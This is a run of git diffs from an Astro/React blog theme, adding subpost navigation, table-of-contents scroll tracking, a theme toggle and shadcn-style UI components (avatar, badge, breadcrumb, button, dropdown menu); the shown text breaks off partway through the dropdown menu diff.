const subposts = await getSubpostsForParent(rootParentId)
const parentPost = isCurrentSubpost ? await getParentPost(currentPostId) : null
const activePost = parentPost || currentPost
const isActivePost = activePost?.id === currentPostId
const activePostReadingTime = activePost
? await getPostReadingTime(activePost.id)
: null
const subpostsWithReadingTime = await Promise.all(
subposts.map(async (subpost) => ({
...subpost,
readingTime: await getPostReadingTime(subpost.id),
})),
)
const currentSubpostDetails = isCurrentSubpost
? subpostsWithReadingTime.find((subpost) => subpost.id === currentPostId)
: null
---
{
activePost && subposts.length > 0 && (
<div id="mobile-subposts-container" class="w-full xl:hidden">
<details class="group">
<summary class="flex w-full cursor-pointer items-center justify-between">
<div class="mx-auto flex w-full max-w-3xl items-center px-4 py-3">
<div class="relative mr-2 size-4">
<Icon
name={
currentSubpostDetails
? 'lucide:file-text'
: isActivePost
? 'lucide:book-open-text'
: 'lucide:book-open'
}
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
</div>
<div class="flex flex-grow flex-col truncate text-sm">
<span class="text-muted-foreground truncate">
{currentSubpostDetails
? currentSubpostDetails.data.title
: activePost?.data.title}
</span>
</div>
<span class="text-muted-foreground ml-2">
<Icon
name="lucide:chevron-down"
class="h-4 w-4 transition-transform duration-200 group-open:rotate-180"
/>
</span>
</div>
</summary>
<div class="mx-auto max-h-[30vh] max-w-3xl overflow-y-auto">
<ul class="flex list-none flex-col gap-y-1 px-4 pb-4">
{activePost && (
<li>
{isActivePost ? (
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
<Icon
name="lucide:book-open-text"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{activePost.data.title}</span>
{activePostReadingTime && (
<span class="text-muted-foreground/80 text-xs">
{activePostReadingTime}
</span>
)}
</div>
</div>
) : (
<a
href={`/blog/${activePost.id}`}
class="subpost-item hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
>
<Icon
name="lucide:book-open"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{activePost.data.title}</span>
{activePostReadingTime && (
<span class="text-muted-foreground/80 hover:text-foreground/80 text-xs">
{activePostReadingTime}
</span>
)}
</div>
</a>
)}
</li>
)}
{subpostsWithReadingTime.length > 0 && (
<div class="ml-4 space-y-1">
{subpostsWithReadingTime.map((subpost) =>
currentPostId === subpost.id ? (
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
<Icon
name="lucide:file-text"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{subpost.data.title}</span>
<span class="text-muted-foreground/80 text-xs">
{subpost.readingTime}
</span>
</div>
</div>
) : (
<a
href={`/blog/${subpost.id}`}
class="subpost-item hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
data-subpost-id={subpost.id}
>
<Icon
name="lucide:file"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{subpost.data.title}</span>
<span class="text-muted-foreground/80 hover:text-foreground/80 text-xs">
{subpost.readingTime}
</span>
</div>
</a>
),
)}
</div>
)}
</ul>
</div>
</details>
</div>
)
}
<script>
function setupMobileSubpostsInteraction() {
const container = document.getElementById('mobile-subposts-container')
if (!container) return
const details = container.querySelector('details')
const links = container.querySelectorAll('.subpost-item')
links.forEach((link) => {
link.addEventListener('click', () => {
if (details) details.open = false
})
})
}
document.addEventListener('astro:page-load', setupMobileSubpostsInteraction)
document.addEventListener('astro:after-swap', setupMobileSubpostsInteraction)
</script>

View File

@@ -0,0 +1,133 @@
---
import Link from '@/components/Link.astro'
import { ScrollArea } from '@/components/ui/scroll-area'
import {
getParentId,
getParentPost,
getPostById,
getPostReadingTime,
getSubpostsForParent,
isSubpost,
} from '@/lib/data-utils'
import { Icon } from 'astro-icon/components'
const { parentId } = Astro.props
const currentPostId = Astro.params.id as string
const isCurrentSubpost = isSubpost(currentPostId)
const rootParentId = isCurrentSubpost ? getParentId(currentPostId) : parentId
const currentPost = !isCurrentSubpost ? await getPostById(currentPostId) : null
const subposts = await getSubpostsForParent(rootParentId)
const parentPost = isCurrentSubpost ? await getParentPost(currentPostId) : null
const activePost = parentPost || currentPost
const isActivePost = activePost?.id === currentPostId
const activePostReadingTime = activePost
? await getPostReadingTime(activePost.id)
: null
const subpostsWithReadingTime = await Promise.all(
subposts.map(async (subpost) => ({
...subpost,
readingTime: await getPostReadingTime(subpost.id),
})),
)
---
<div
class="sticky top-20 col-start-3 row-span-1 mr-auto ml-8 hidden h-[calc(100vh-5rem)] max-w-fit xl:block"
>
<ScrollArea
client:load
className="flex max-h-[calc(100vh-8rem)] flex-col overflow-y-auto"
type="always"
>
<div class="px-4">
<ul class="space-y-1">
{
activePost && (
<li>
{isActivePost ? (
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
<Icon
name="lucide:book-open-text"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{activePost.data.title}</span>
{activePostReadingTime && (
<span class="text-muted-foreground/80 text-xs">
{activePostReadingTime}
</span>
)}
</div>
</div>
) : (
<Link
href={`/blog/${activePost.id}#post-title`}
class="hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
>
<Icon
name="lucide:book-open"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{activePost.data.title}</span>
{activePostReadingTime && (
<span class="text-muted-foreground/80 text-xs">
{activePostReadingTime}
</span>
)}
</div>
</Link>
)}
</li>
)
}
{
subpostsWithReadingTime.length > 0 && (
<li class="ml-4 space-y-1">
{subpostsWithReadingTime.map((subpost) =>
currentPostId === subpost.id ? (
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
<Icon
name="lucide:file-text"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{subpost.data.title}</span>
<span class="text-muted-foreground/80 text-xs">
{subpost.readingTime}
</span>
</div>
</div>
) : (
<Link
href={`/blog/${subpost.id}`}
class="hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
>
<Icon
name="lucide:file"
class="size-4 flex-shrink-0"
aria-hidden="true"
/>
<div class="flex flex-col">
<span class="line-clamp-2">{subpost.data.title}</span>
<span class="text-muted-foreground/80 text-xs">
{subpost.readingTime}
</span>
</div>
</Link>
),
)}
</li>
)
}
</ul>
</div>
</ScrollArea>
</div>

View File

@@ -0,0 +1,300 @@
---
import { cn, getHeadingMargin } from '@/lib/utils'
import type { MarkdownHeading } from 'astro'
import { Icon } from 'astro-icon/components'
type Props = {
headings: MarkdownHeading[]
}
const { headings } = Astro.props
---
{
headings && headings.length > 0 && (
<div id="mobile-toc-container" class="w-full xl:hidden">
<details class="group">
<summary class="flex w-full cursor-pointer items-center justify-between">
<div class="mx-auto flex w-full max-w-3xl items-center px-4 py-3">
<div class="relative mr-2 size-4">
<svg class="h-4 w-4" viewBox="0 0 24 24">
<circle
class="text-primary/20"
cx="12"
cy="12"
r="10"
fill="none"
stroke="currentColor"
stroke-width="2"
/>
<circle
id="mobile-toc-progress-circle"
class="text-primary"
cx="12"
cy="12"
r="10"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-dasharray="62.83"
stroke-dashoffset="62.83"
transform="rotate(-90 12 12)"
/>
</svg>
</div>
<span
id="mobile-toc-current-section"
class="text-muted-foreground flex-grow truncate text-sm"
>
Overview
</span>
<span class="text-muted-foreground ml-2">
<Icon
name="lucide:chevron-down"
class="h-4 w-4 transition-transform duration-200 group-open:rotate-180"
/>
</span>
</div>
</summary>
<div class="mx-auto max-h-[30vh] max-w-3xl overflow-y-auto">
<ul
class="flex list-none flex-col gap-y-2 px-4 pb-4"
id="mobile-table-of-contents"
>
{headings.map((heading) => (
<li
class={cn(
'text-foreground/60 px-4 text-sm',
getHeadingMargin(heading.depth),
)}
>
<a
href={`#${heading.slug}`}
class="toc-item underline decoration-transparent underline-offset-[3px] transition-colors duration-200 hover:decoration-inherit"
data-heading-id={heading.slug}
>
{heading.text}
</a>
</li>
))}
</ul>
</div>
</details>
</div>
)
}
<script>
const INITIAL_OVERVIEW_TEXT = 'Overview'
const STICKY_HEADER_OFFSET = 102 + 36 // header height + heading top padding
const PROGRESS_CIRCLE_RADIUS = 10
const PROGRESS_CIRCLE_CIRCUMFERENCE = 2 * Math.PI * PROGRESS_CIRCLE_RADIUS
let progressCircleElement: HTMLElement | null = null
let currentSectionTextElement: HTMLElement | null = null
let tocDetailsElement: HTMLDetailsElement | null = null
let mobileTocListElement: HTMLElement | null = null
let headingElements: HTMLElement[] = []
let headingJurisdictions: { id: string; start: number; end: number }[] = []
let activePageHeadings: string[] = []
function initializeMobileTocVariables() {
progressCircleElement = document.getElementById(
'mobile-toc-progress-circle',
)
currentSectionTextElement = document.getElementById(
'mobile-toc-current-section',
)
tocDetailsElement = document.querySelector('#mobile-toc-container details')
mobileTocListElement = document.getElementById('mobile-table-of-contents')
if (progressCircleElement) {
progressCircleElement.style.strokeDasharray =
PROGRESS_CIRCLE_CIRCUMFERENCE.toString()
progressCircleElement.style.strokeDashoffset =
PROGRESS_CIRCLE_CIRCUMFERENCE.toString()
}
}
function buildHeadingJurisdictions() {
headingElements = Array.from(
document.querySelectorAll<HTMLElement>(
'.prose h2, .prose h3, .prose h4, .prose h5, .prose h6',
),
)
if (headingElements.length === 0) {
headingJurisdictions = []
return
}
headingJurisdictions = headingElements.map((heading, index) => {
const nextHeading = headingElements[index + 1]
return {
id: heading.id,
start: heading.offsetTop,
end: nextHeading ? nextHeading.offsetTop : document.body.scrollHeight,
}
})
}
function getHeadingsWithVisibleContent(): string[] {
if (headingElements.length === 0) return []
const viewportTop = window.scrollY + STICKY_HEADER_OFFSET
const viewportBottom = window.scrollY + window.innerHeight
const visibleHeadingIds: string[] = []
headingElements.forEach((heading) => {
const headingTop = heading.offsetTop
const headingBottom = headingTop + heading.offsetHeight
if (
(headingTop >= viewportTop && headingTop <= viewportBottom) ||
(headingBottom >= viewportTop && headingBottom <= viewportBottom) ||
(headingTop <= viewportTop && headingBottom >= viewportBottom)
) {
visibleHeadingIds.push(heading.id)
}
})
headingJurisdictions.forEach((jurisdiction) => {
if (
jurisdiction.start <= viewportBottom &&
jurisdiction.end >= viewportTop
) {
const headingEl = document.getElementById(jurisdiction.id)
if (headingEl) {
const headingBottom = headingEl.offsetTop + headingEl.offsetHeight
if (
jurisdiction.end > headingBottom &&
((headingBottom < viewportBottom &&
jurisdiction.end > viewportTop) ||
(viewportTop > headingBottom && viewportTop < jurisdiction.end))
) {
visibleHeadingIds.push(jurisdiction.id)
}
}
}
})
return [...new Set(visibleHeadingIds)]
}
function updateTocHighlightsAndText(newActiveHeadings: string[]) {
if (!mobileTocListElement || !currentSectionTextElement) return
mobileTocListElement.querySelectorAll('.toc-item').forEach((item) => {
const tocItem = item as HTMLElement
const headingId = tocItem.dataset.headingId
if (headingId && newActiveHeadings.includes(headingId)) {
tocItem.classList.add('text-foreground')
} else {
tocItem.classList.remove('text-foreground')
}
})
let textToShow = INITIAL_OVERVIEW_TEXT
const activeHeadingTexts: string[] = []
if (newActiveHeadings.length > 0) {
for (const heading of headingElements) {
if (newActiveHeadings.includes(heading.id) && heading.textContent) {
activeHeadingTexts.push(heading.textContent.trim())
}
}
}
if (activeHeadingTexts.length > 0) {
textToShow = activeHeadingTexts.join(', ')
}
currentSectionTextElement.textContent = textToShow
}
function updateProgressCircle() {
if (!progressCircleElement) return
const scrollableDistance =
document.documentElement.scrollHeight - window.innerHeight
const scrollProgress =
scrollableDistance > 0
? Math.min(Math.max(window.scrollY / scrollableDistance, 0), 1)
: 0
progressCircleElement.style.strokeDashoffset = (
PROGRESS_CIRCLE_CIRCUMFERENCE *
(1 - scrollProgress)
).toString()
}
function handleMobileTocScroll() {
const newActiveHeadings = getHeadingsWithVisibleContent()
if (
JSON.stringify(newActiveHeadings) !== JSON.stringify(activePageHeadings)
) {
activePageHeadings = newActiveHeadings
updateTocHighlightsAndText(activePageHeadings)
}
updateProgressCircle()
}
function setupMobileTocInteraction() {
if (!mobileTocListElement) return
mobileTocListElement.querySelectorAll('.toc-item').forEach((item) => {
item.addEventListener('click', () => {
if (tocDetailsElement) tocDetailsElement.open = false
})
})
}
function mainMobileTocSetup() {
initializeMobileTocVariables()
buildHeadingJurisdictions()
if (!currentSectionTextElement) return
if (headingElements.length === 0) {
currentSectionTextElement.textContent = INITIAL_OVERVIEW_TEXT
window.addEventListener('scroll', updateProgressCircle, { passive: true })
updateProgressCircle()
return
}
activePageHeadings = getHeadingsWithVisibleContent()
updateTocHighlightsAndText(activePageHeadings)
updateProgressCircle()
setupMobileTocInteraction()
window.addEventListener('scroll', handleMobileTocScroll, { passive: true })
window.addEventListener('resize', handleWindowResize, { passive: true })
}
function handleWindowResize() {
buildHeadingJurisdictions()
const newActiveHeadings = getHeadingsWithVisibleContent()
if (
JSON.stringify(newActiveHeadings) !== JSON.stringify(activePageHeadings)
) {
activePageHeadings = newActiveHeadings
updateTocHighlightsAndText(activePageHeadings)
}
updateProgressCircle()
}
function cleanupMobileToc() {
window.removeEventListener('scroll', handleMobileTocScroll)
window.removeEventListener('scroll', updateProgressCircle)
window.removeEventListener('resize', handleWindowResize)
activePageHeadings = []
headingElements = []
headingJurisdictions = []
}
document.addEventListener('astro:page-load', mainMobileTocSetup)
document.addEventListener('astro:after-swap', () => {
cleanupMobileToc()
mainMobileTocSetup()
})
document.addEventListener('astro:before-swap', cleanupMobileToc)
</script>

View File

@@ -0,0 +1,190 @@
---
import { ScrollArea } from '@/components/ui/scroll-area'
import { cn, getHeadingMargin } from '@/lib/utils'
import type { MarkdownHeading } from 'astro'
type Props = {
headings: MarkdownHeading[]
}
const { headings } = Astro.props
---
<div
class="sticky top-20 col-start-1 row-span-1 mr-8 ml-auto hidden h-[calc(100vh-5rem)] max-w-fit xl:block"
>
<ScrollArea
client:load
className="flex max-h-[calc(100vh-8rem)] flex-col overflow-y-auto"
type="always"
>
<ul
class="mr-8 flex list-none flex-col gap-y-2 px-4"
id="table-of-contents"
>
<li class="text-lg font-medium">Table of Contents</li>
{
headings.map((heading) => (
<li
class={cn(
'text-foreground/60 text-sm',
getHeadingMargin(heading.depth),
)}
>
<a
href={`#${heading.slug}`}
class="marker:text-foreground/30 list-none underline decoration-transparent underline-offset-[3px] transition-colors duration-200 hover:decoration-inherit"
data-heading-link={heading.slug}
>
{heading.text}
</a>
</li>
))
}
</ul>
</ScrollArea>
</div>
<script>
const STICKY_HEADER_OFFSET = 80
let tocLinks: NodeListOf<Element>
let activeHeadings: string[] = []
let headingElements: HTMLElement[] = []
let jurisdictions: { id: string; start: number; end: number }[] = []
function initializeDesktopTocVariables() {
tocLinks = document.querySelectorAll('[data-heading-link]')
activeHeadings = []
}
function buildDesktopHeadingJurisdictions() {
headingElements = Array.from(
document.querySelectorAll<HTMLElement>(
'.prose h2, .prose h3, .prose h4, .prose h5, .prose h6',
),
)
if (headingElements.length === 0) {
jurisdictions = []
return
}
jurisdictions = headingElements.map((heading, index) => {
const nextHeading = headingElements[index + 1]
return {
id: heading.id,
start: heading.offsetTop,
end: nextHeading ? nextHeading.offsetTop : document.body.scrollHeight,
}
})
}
function updateDesktopActiveTocLinks(headingIds: string[]) {
tocLinks.forEach((link) => {
link.classList.remove('text-foreground')
})
headingIds.forEach((id) => {
if (id) {
const activeLink = document.querySelector(`[data-heading-link="${id}"]`)
if (activeLink) {
activeLink.classList.add('text-foreground')
}
}
})
}
function getDesktopHeadingsWithVisibleContent(): string[] {
if (headingElements.length === 0) return []
const viewportTop = window.scrollY + STICKY_HEADER_OFFSET
const viewportBottom = window.scrollY + window.innerHeight
const visibleHeadingIds: string[] = []
headingElements.forEach((heading) => {
const headingTop = heading.offsetTop
const headingBottom = headingTop + heading.offsetHeight
if (
(headingTop >= viewportTop && headingTop <= viewportBottom) ||
(headingBottom >= viewportTop && headingBottom <= viewportBottom) ||
(headingTop <= viewportTop && headingBottom >= viewportBottom)
) {
visibleHeadingIds.push(heading.id)
}
})
jurisdictions.forEach((jurisdiction) => {
if (
jurisdiction.start <= viewportBottom &&
jurisdiction.end >= viewportTop
) {
const headingEl = document.getElementById(jurisdiction.id)
if (headingEl) {
const headingBottom = headingEl.offsetTop + headingEl.offsetHeight
if (
jurisdiction.end > headingBottom &&
((headingBottom < viewportBottom &&
jurisdiction.end > viewportTop) ||
(viewportTop > headingBottom && viewportTop < jurisdiction.end))
) {
visibleHeadingIds.push(jurisdiction.id)
}
}
}
})
return [...new Set(visibleHeadingIds)]
}
function handleDesktopTocScroll() {
const newActiveHeadings = getDesktopHeadingsWithVisibleContent()
if (JSON.stringify(newActiveHeadings) !== JSON.stringify(activeHeadings)) {
activeHeadings = newActiveHeadings
updateDesktopActiveTocLinks(activeHeadings)
}
}
function handleDesktopWindowResize() {
buildDesktopHeadingJurisdictions()
const newActiveHeadings = getDesktopHeadingsWithVisibleContent()
if (JSON.stringify(newActiveHeadings) !== JSON.stringify(activeHeadings)) {
activeHeadings = newActiveHeadings
updateDesktopActiveTocLinks(activeHeadings)
}
}
function mainDesktopTocSetup() {
initializeDesktopTocVariables()
buildDesktopHeadingJurisdictions()
if (headingElements.length === 0) {
updateDesktopActiveTocLinks([])
return
}
handleDesktopTocScroll()
window.addEventListener('scroll', handleDesktopTocScroll, { passive: true })
window.addEventListener('resize', handleDesktopWindowResize, {
passive: true,
})
}
function cleanupDesktopToc() {
window.removeEventListener('scroll', handleDesktopTocScroll)
window.removeEventListener('resize', handleDesktopWindowResize)
activeHeadings = []
headingElements = []
jurisdictions = []
}
document.addEventListener('astro:page-load', mainDesktopTocSetup)
document.addEventListener('astro:after-swap', () => {
cleanupDesktopToc()
mainDesktopTocSetup()
})
document.addEventListener('astro:before-swap', cleanupDesktopToc)
</script>

View File

@@ -0,0 +1,92 @@
---
import { Button } from '@/components/ui/button'
import { Icon } from 'astro-icon/components'
---
<Button
id="theme-toggle"
variant="ghost"
size="icon"
title="Toggle theme"
className="-me-2 size-8"
>
<Icon
name="lucide:sun"
class="size-4 scale-100 rotate-0 transition-all dark:scale-0 dark:-rotate-90"
/>
<Icon
name="lucide:moon"
class="absolute size-4 scale-0 rotate-90 transition-all dark:scale-100 dark:rotate-0"
/>
<span class="sr-only">Toggle theme</span>
</Button>
<script is:inline data-astro-rerun>
const theme = (() => {
const localStorageTheme = localStorage?.getItem('theme') ?? ''
if (['dark', 'light'].includes(localStorageTheme)) {
return localStorageTheme
}
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
return 'dark'
}
return 'light'
})()
document.documentElement.setAttribute('data-theme', theme)
document.documentElement.classList.add(
theme === 'dark' ? 'scheme-dark' : 'scheme-light',
)
window.localStorage.setItem('theme', theme)
</script>
<script>
function handleToggleClick() {
const element = document.documentElement
const currentTheme = element.getAttribute('data-theme')
const newTheme = currentTheme === 'dark' ? 'light' : 'dark'
element.classList.add('[&_*]:transition-none')
element.setAttribute('data-theme', newTheme)
element.classList.remove('scheme-dark', 'scheme-light')
element.classList.add(newTheme === 'dark' ? 'scheme-dark' : 'scheme-light')
window.getComputedStyle(element).getPropertyValue('opacity')
requestAnimationFrame(() => {
element.classList.remove('[&_*]:transition-none')
})
localStorage.setItem('theme', newTheme)
}
function initThemeToggle() {
const themeToggle = document.getElementById('theme-toggle')
if (themeToggle) {
themeToggle.addEventListener('click', handleToggleClick)
}
}
initThemeToggle()
document.addEventListener('astro:after-swap', () => {
const storedTheme = localStorage.getItem('theme') || 'light'
const element = document.documentElement
element.classList.add('[&_*]:transition-none')
window.getComputedStyle(element).getPropertyValue('opacity')
element.setAttribute('data-theme', storedTheme)
element.classList.remove('scheme-dark', 'scheme-light')
element.classList.add(
storedTheme === 'dark' ? 'scheme-dark' : 'scheme-light',
)
requestAnimationFrame(() => {
element.classList.remove('[&_*]:transition-none')
})
initThemeToggle()
})
</script>

View File

@@ -0,0 +1,74 @@
import * as React from 'react'
import { Avatar as AvatarPrimitive } from 'radix-ui'
import { cn } from '@/lib/utils'
function Avatar({
className,
...props
}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
return (
<AvatarPrimitive.Root
data-slot="avatar"
className={cn(
'relative flex size-8 shrink-0 overflow-hidden rounded-full',
className,
)}
{...props}
/>
)
}
function AvatarImage({
className,
...props
}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
return (
<AvatarPrimitive.Image
data-slot="avatar-image"
className={cn('aspect-square size-full', className)}
{...props}
/>
)
}
function AvatarFallback({
className,
...props
}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
return (
<AvatarPrimitive.Fallback
data-slot="avatar-fallback"
className={cn(
'bg-muted flex size-full items-center justify-center rounded-full',
className,
)}
{...props}
/>
)
}
const AvatarComponent: React.FC<AvatarComponentProps> = ({
src,
alt,
fallback,
className,
}) => {
return (
<Avatar className={className}>
<AvatarImage src={src} alt={alt} />
<AvatarFallback>{fallback}</AvatarFallback>
</Avatar>
)
}
export default AvatarComponent
interface AvatarComponentProps {
src?: string
alt?: string
fallback: string
className?: string
}
export { Avatar, AvatarImage, AvatarFallback }

View File

@@ -0,0 +1,46 @@
import * as React from 'react'
import { Slot as SlotPrimitive } from 'radix-ui'
import { cva, type VariantProps } from 'class-variance-authority'
import { cn } from '@/lib/utils'
const badgeVariants = cva(
'inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden',
{
variants: {
variant: {
default:
'border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90',
secondary:
'border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90',
destructive:
'border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/70',
outline:
'text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground',
},
},
defaultVariants: {
variant: 'default',
},
},
)
function Badge({
className,
variant,
asChild = false,
...props
}: React.ComponentProps<'span'> &
VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
const Comp = asChild ? SlotPrimitive.Root : 'span'
return (
<Comp
data-slot="badge"
className={cn(badgeVariants({ variant }), className)}
{...props}
/>
)
}
export { Badge, badgeVariants }

View File

@@ -0,0 +1,108 @@
import * as React from 'react'
import { Slot as SlotPrimitive } from 'radix-ui'
import { cn } from '@/lib/utils'
import { ChevronRight, MoreHorizontal } from 'lucide-react'
function Breadcrumb({ ...props }: React.ComponentProps<'nav'>) {
return <nav aria-label="breadcrumb" data-slot="breadcrumb" {...props} />
}
function BreadcrumbList({ className, ...props }: React.ComponentProps<'ol'>) {
return (
<ol
data-slot="breadcrumb-list"
className={cn(
'text-muted-foreground flex flex-wrap items-center gap-1.5 text-sm break-words sm:gap-2.5',
className,
)}
{...props}
/>
)
}
function BreadcrumbItem({ className, ...props }: React.ComponentProps<'li'>) {
return (
<li
data-slot="breadcrumb-item"
className={cn('inline-flex items-center gap-1.5', className)}
{...props}
/>
)
}
function BreadcrumbLink({
asChild,
className,
...props
}: React.ComponentProps<'a'> & {
asChild?: boolean
}) {
const Comp = asChild ? SlotPrimitive.Root : 'a'
return (
<Comp
data-slot="breadcrumb-link"
className={cn('hover:text-foreground transition-colors', className)}
{...props}
/>
)
}
function BreadcrumbPage({ className, ...props }: React.ComponentProps<'span'>) {
return (
<span
data-slot="breadcrumb-page"
role="link"
aria-disabled="true"
aria-current="page"
className={cn('text-foreground font-normal', className)}
{...props}
/>
)
}
function BreadcrumbSeparator({
children,
className,
...props
}: React.ComponentProps<'li'>) {
return (
<li
data-slot="breadcrumb-separator"
role="presentation"
aria-hidden="true"
className={cn('[&>svg]:size-3.5', className)}
{...props}
>
{children ?? <ChevronRight />}
</li>
)
}
function BreadcrumbEllipsis({
className,
...props
}: React.ComponentProps<'span'>) {
return (
<span
data-slot="breadcrumb-ellipsis"
role="presentation"
aria-hidden="true"
className={cn('flex size-9 items-center justify-center', className)}
{...props}
>
<MoreHorizontal className="size-4" />
<span className="sr-only">More</span>
</span>
)
}
export {
Breadcrumb,
BreadcrumbList,
BreadcrumbItem,
BreadcrumbLink,
BreadcrumbPage,
BreadcrumbSeparator,
BreadcrumbEllipsis,
}

View File

@@ -1,56 +1,58 @@
import * as React from "react" import * as React from 'react'
import { Slot } from "@radix-ui/react-slot" import { Slot as SlotPrimitive } from 'radix-ui'
import { cva, type VariantProps } from "class-variance-authority" import { cva, type VariantProps } from 'class-variance-authority'
import { cn } from "@/lib/utils" import { cn } from '@/lib/utils'
const buttonVariants = cva( const buttonVariants = cva(
"inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50", "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
{ {
variants: { variants: {
variant: { variant: {
default: "bg-primary text-primary-foreground hover:bg-primary/90", default: 'bg-primary text-primary-foreground hover:bg-primary/90',
destructive: destructive:
"bg-destructive text-destructive-foreground hover:bg-destructive/90", 'bg-destructive text-white hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60',
outline: outline:
"border border-input bg-background hover:bg-accent hover:text-accent-foreground", 'border bg-background hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50',
secondary: secondary:
"bg-secondary text-secondary-foreground hover:bg-secondary/80", 'bg-secondary text-secondary-foreground hover:bg-secondary/80',
ghost: "hover:bg-accent hover:text-accent-foreground", ghost:
link: "text-primary underline-offset-4 hover:underline", 'hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50',
link: 'text-primary underline-offset-4 hover:underline',
}, },
size: { size: {
default: "h-10 px-4 py-2", default: 'h-9 px-4 py-2 has-[>svg]:px-3',
sm: "h-9 rounded-md px-3", sm: 'h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5',
lg: "h-11 rounded-md px-8", lg: 'h-10 rounded-md px-6 has-[>svg]:px-4',
icon: "h-10 w-10", icon: 'size-9',
}, },
}, },
defaultVariants: { defaultVariants: {
variant: "default", variant: 'default',
size: "default", size: 'default',
}, },
} },
) )
export interface ButtonProps function Button({
extends React.ButtonHTMLAttributes<HTMLButtonElement>, className,
VariantProps<typeof buttonVariants> { variant,
asChild?: boolean size,
asChild = false,
...props
}: React.ComponentProps<'button'> &
VariantProps<typeof buttonVariants> & {
asChild?: boolean
}) {
const Comp = asChild ? SlotPrimitive.Root : 'button'
return (
<Comp
data-slot="button"
className={cn(buttonVariants({ variant, size, className }))}
{...props}
/>
)
} }
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
({ className, variant, size, asChild = false, ...props }, ref) => {
const Comp = asChild ? Slot : "button"
return (
<Comp
className={cn(buttonVariants({ variant, size, className }))}
ref={ref}
{...props}
/>
)
}
)
Button.displayName = "Button"
export { Button, buttonVariants } export { Button, buttonVariants }

View File

@@ -1,198 +1,255 @@
import * as React from "react" import * as React from 'react'
import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu" import { DropdownMenu as DropdownMenuPrimitive } from 'radix-ui'
import { Check, ChevronRight, Circle } from "lucide-react" import { CheckIcon, ChevronRightIcon, CircleIcon } from 'lucide-react'
import { cn } from "@/lib/utils" import { cn } from '@/lib/utils'
const DropdownMenu = DropdownMenuPrimitive.Root function DropdownMenu({
const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger
const DropdownMenuGroup = DropdownMenuPrimitive.Group
const DropdownMenuPortal = DropdownMenuPrimitive.Portal
const DropdownMenuSub = DropdownMenuPrimitive.Sub
const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup
const DropdownMenuSubTrigger = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {
inset?: boolean
}
>(({ className, inset, children, ...props }, ref) => (
<DropdownMenuPrimitive.SubTrigger
ref={ref}
className={cn(
"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent",
inset && "pl-8",
className
)}
{...props}
>
{children}
<ChevronRight className="ml-auto h-4 w-4" />
</DropdownMenuPrimitive.SubTrigger>
))
DropdownMenuSubTrigger.displayName =
DropdownMenuPrimitive.SubTrigger.displayName
const DropdownMenuSubContent = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,
